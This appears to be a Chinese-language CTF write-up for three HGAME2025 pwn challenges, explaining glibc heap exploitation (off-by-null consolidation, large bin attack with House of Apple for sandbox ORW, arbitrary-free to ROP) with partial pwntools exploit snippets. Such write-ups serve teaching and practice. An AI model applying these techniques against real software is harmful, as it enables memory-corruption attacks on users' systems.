hgame2025 week2 pwn全题解
字数 1796 2025-08-29 08:30:36
HGAME2025 Week2 Pwn题全解析
题目1: sign2heap
题目概述
- 保护机制:全开
- Libc版本:2.27(已开启tcache bin)
- 漏洞类型:Off-by-null
环境准备
使用patchelf将libc-2.27.so和ld.so链接到程序上:
patchelf --replace-needed libc.so.6 ./libc-2.27.so ./vuln
patchelf --set-interpreter ./ld.so ./vuln
程序分析
-
功能一:创建堆块
- 最多创建16个堆块
- 堆块大小不超过0xff
- 漏洞点:read输入后会将最后一字节设置为'\x00',导致off-by-null漏洞
-
功能二:删除堆块(menu函数写反了)
- 正常释放堆块并将指针清零
- 无漏洞
-
功能三:打印堆块内容
利用思路
-
堆布局:
- 创建0x80大小的堆块1
- 创建0x18大小的堆块2(用于off-by-null)
- 创建0xf0大小的堆块3
- 创建7个0x80和7个0xf0堆块填满tcache
-
利用off-by-null:
- 释放堆块1
- 使用堆块2修改堆块3的pre_size和size位
-
合并堆块:
- 释放堆块3,使其与堆块1、堆块2合并
-
泄露libc地址:
- 申请8个0x80大小堆块,使main_arena落入堆块1
- show堆块1泄露libc地址
-
最终利用:
- 申请0x10大小堆块制造double free
- 修改fd指向malloc_hook
- 写入one_gadget
EXP关键代码
# 堆布局
add(0, 0x80, b'A'*0x80)
add(1, 0x18, b'B'*0x18)
add(2, 0xf0, b'C'*0xf0)
# 填满tcache
for i in range(7):
add(3+i, 0x80, b'D'*0x80)
for i in range(7):
add(10+i, 0xf0, b'E'*0xf0)
# 释放堆块1并利用off-by-null
delete(0)
payload = b'B'*0x10 + p64(0x90 + 0x20)
add(1, 0x18, payload)
# 释放堆块3触发合并
delete(2)
# 泄露libc
for i in range(7):
delete(3+i)
for i in range(8):
add(3+i, 0x80, b'F'*0x80)
show(0)
题目2: Where is the vulnerability
题目概述
- 保护机制:全开(除canary)
- Libc版本:2.39
- 额外文件:libhgame.so
- 沙箱限制:禁用execve(需ORW)
环境准备
patchelf --replace-needed libc.so.6 ./libc-2.39.so ./vuln
patchelf --set-interpreter ./ld.so ./vuln
chmod +x libhgame.so libc-2.39.so ld.so
程序分析
-
沙箱限制:在libhgame.so的init函数中禁用了execve
-
功能一:创建堆块
- 最多16个堆块
- 大小范围0x500-0x900(unsorted bin范围)
-
功能二:释放堆块
- 存在Use-after-free漏洞(指针未清零)
-
功能三/四:修改/打印堆块内容
利用思路
-
堆布局:
- 创建0x518大小的堆块1
- 创建堆块2防止合并
- 创建0x508大小的堆块3(用于large bin attack)
- 创建堆块4防止合并
-
泄露地址:
- 释放堆块1进入unsorted bin
- 申请0x530堆块使堆块1进入large bin
- 利用UAF泄露libc和heap地址
-
Large bin attack:
- 释放堆块3进入unsorted bin
- 伪造堆块1的bk_nextsize为_IO_list_all-0x20
- 申请0x528堆块触发攻击
-
House of Apple:
- 利用伪造的IO_FILE结构体进行ORW
EXP关键代码
# 堆布局
add(0, 0x518, b'A'*0x518)
add(1, 0x18, b'B'*0x18)
add(2, 0x508, b'C'*0x508)
add(3, 0x18, b'D'*0x18)
# 泄露libc
delete(0)
add(4, 0x530, b'E'*0x530)
show(0)
# Large bin attack
delete(2)
payload = p64(0)*3 + p64(libc.sym._IO_list_all - 0x20)
edit(0, payload)
add(5, 0x528, b'F'*0x528)
# House of Apple
fake_file = IO_FILE_plus()
# 设置伪造的IO_FILE结构体
题目3: Hit list
题目概述
- 保护机制:全开
- Libc版本:2.35
- 特殊功能:gift函数(一次任意地址free)
程序分析
-
节点结构:
- "结构堆块":包含节点下标、下一个结构地址、number值、内容堆块地址
- "内容堆块":前8字节为name,后面为用户输入内容
-
gift函数:
- 创建-9大小堆块时触发
- 提供一次任意地址free机会
-
功能一:创建节点
-
功能二:删除节点
-
功能三:修改节点内容
-
功能四:打印节点内容
利用思路
-
泄露heap地址:
- 释放"结构堆块"后申请回来作为"内容堆块"
- 通过打印泄露heap地址
-
泄露libc地址:
- 释放8个unsorted bin大小堆块
- 申请回来泄露fd/bk中的libc地址
-
利用gift函数:
- 释放tcache_perthread_struct
- 申请回来伪造释放environ
- 获取stack地址
-
ROP链构造:
- 将函数返回地址写入tcache_perthread_struct
- 申请回来写入ROP链
EXP关键代码
# 泄露heap地址
add(0, 0x100, b'A'*0x100)
delete(0)
add(1, 0x100, p64(0)*3 + p64(0x21))
show(0)
# 泄露libc地址
for i in range(8):
add(2+i, 0x500, b'B'*0x500)
for i in range(8):
delete(2+i)
add(10, 0x500, b'C'*8)
show(10)
# 利用gift函数
add(11, -9, p64(heap_base + 0x10))
add(12, 0x100, p64(libc.sym.environ))
show(12)
# 构造ROP链
rop = ROP(libc)
# 设置ROP链内容
总结
-
sign2heap:利用off-by-null进行堆合并,通过tcache机制泄露地址并劫持控制流
-
Where is the vulnerability:在libc 2.39环境下,利用large bin attack结合house of apple绕过沙箱限制
-
Hit list:利用特殊的一次任意地址free机会,通过精心设计的堆布局泄露关键地址并最终构造ROP链
关键点:
- 不同libc版本下的利用技术差异
- 沙箱绕过技术(ORW)
- 堆布局和地址泄露技巧
- 一次任意地址free的高效利用